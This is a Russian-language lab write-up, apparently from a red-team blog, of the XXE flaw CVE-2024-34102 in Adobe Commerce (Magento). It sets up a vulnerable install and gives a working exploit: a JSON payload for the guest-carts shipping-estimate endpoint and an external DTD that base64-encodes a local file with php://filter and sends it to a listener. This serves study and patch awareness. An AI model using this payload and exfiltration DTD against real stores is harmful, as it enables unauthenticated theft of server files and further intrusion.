Vulnerability
August 30

XXE в Adobe Commerce (CVE-2024-34102)

Введение

Версии Adobe Commerce 2.4.7, 2.4.6-p5, 2.4.5-p7, 2.4.4-p8 и более ранние
подвержены уязвимости типа «Неправильное ограничение ссылки на внешнюю
сущность XML» (XXE), которая может привести к выполнению произвольного кода.
Злоумышленник может использовать эту уязвимость, отправив специально
сформированный XML-документ, который ссылается на внешние сущности.
Уязвимость имеет оценку в 9.8 баллов по CVSS.

Данная статья представлена исключительно в образовательных целях. Red Team сообщество "GISCYBERTEAM" не несёт ответственности за любые последствия ее использования третьими лицами.

Что такое Adobe Commerce

Adobe Commerce (ранее Magento) — это платформа для электронной коммерции,
предназначенная для создания и управления интернет-магазинами. Она
предоставляет инструменты для продаж, маркетинга, управления товарами и
аналитики, поддерживает кастомизацию и интеграции с другими системами.

Подготовка стенда

Для разбора уявзимости установим чистую Community Edition версию Adobe
Commerce 2.4.6.

Для начала, необходимо загрузить исходный код Adobe Commerce:

git clone https://github.com/magento/magento2.git

Но на данный момент команда выше загрузит последнюю версию исходного кода,
в которой уявзимость уже исправлена, поэтому необходимо в релизах найти
уявзимую версию и загрузить себе:

wget https://github.com/magento/magento2/archive/refs/tags/2.4.6.zip
unzip 2.4.6.zip

Исходный код должен оказаться в директории, обслуживаемой веб-сервером,
обычно /var/www/html.

Для установки зависимостей можно использовать composer внутри директории Magento (Adobe Commerce):

composer install

Для дальнейшей установки необходимо поднять MySQL и OpenSearch (или
Elasticsearch). Для запуска тестовой MySQL можно использовать XAMPP, Elasticsearch можно поднять в docker контейнере:

docker pull elasticsearch:7.17.19
docker run -d --name elasticsearch -p 9200:9200 -p 9300:9300 -e "discovery.type=single-node" elasticsearch:7.17.19

Последним шагом будет запуск процесса установки Adobe Commerce:

bin/magento setup:install --base-url=http://127.0.0.1/ \
--db-host=localhost --db-name=magento --db-user=magento --db-password=magento \
--admin-firstname=Commerce --admin-lastname=User [email protected] \
--admin-user=admin --admin-password=admin123 --language=en_US \
--currency=USD --timezone=America/Chicago --use-rewrites=1 \
--search-engine=elasticsearch7

После этого в терминале появится ссылка на панель администрирования в
формате /admin_XXXXXX . Adobe Commerce успешно установлен:

Разбор уязвимости

XXE (XML External Entity) — это тип уязвимости, связанный с обработкой XML-
документов, которая позволяет злоумышленнику выполнять атаки через внешние
сущности XML.

Внедрённая в XML-документ сущность может иметь вредоносный код, что
приведёт к утечке данных, отказу в обслуживании (DoS), выполнению
произвольного кода или другим последствиям.

Эта уязвимость часто возникает из-за неправильной настройки парсера XML,
который обрабатывает входные данные без должной проверки и обработки
внешних сущностей.

В endpoint'e REST API Adobe Commerce, находящемся по пути https://<domain> /rest/all/V1/guest-carts/test-assetnote/estimate-shipping-methods,
отрабатывает следующий XXE payload:

{
  "address": {
    "totalsCollector": {
      "collectorList": {
        "totalCollector": {
          "sourceData": {
            "data": "<?xml version=\"1.0\" ?> <!DOCTYPE r [ <!ELEMENT r ANY > <!ENTITY % sp SYSTEM \"**EXTERNAL ENTITY SOURCE**\"> %sp; %param1; ]> <r>&exfil;</r>",
            "options": 12345678
          }
        }
      }
    }
  }
}

Проверим, пытается ли сервер получить внешнюю XML-сущность. Для этого
поднимем слушатель:

python3 -m http.server 8989

Отправим payload на уязвимый endpoint:

Видим, что запрос пришёл, но файла нет:

Adobe Commerce работает на PHP, поэтому в качестве нагрузки можно
использовать PHP фильтры. Создадим файл dtd.xml:

<!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=/flag">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://127.0.0.1:8989/?exploited=%data;'>">

В первой строке содержимое файла /flag кодируется в base64 и сохраняется в %data, которая во второй строке подставляется в значение GET-параметра exploited. Проверим работоспособность эксплойта:

Сначала сервер запрашивает внешнюю сущность, находящуюся в файле dtd.xml,
затем исполняет находящейся в ней payload, получаем закодированный в base64
флаг:

Заключение

При помощи XXE был прочитан локальный файл, чего в некоторых случаях вполне
достаточно для развития атаки до удалённого исполнения кода (например, если
есть возможность прочитать конфигурационные файлы, ключи SSH и так далее).
Кроме того, возможно использовать уязвимость для подделки запросов от имени
сервера (SSRF). Уязвимость позволяет неавторизованному пользователю очень
легко провести атаку с серьёзными последствиями.

Если вы используете Adobe Commerce, рекомендуется обновиться до последней
версии, чтобы избежать возможной эксплуатации злоумышленниками.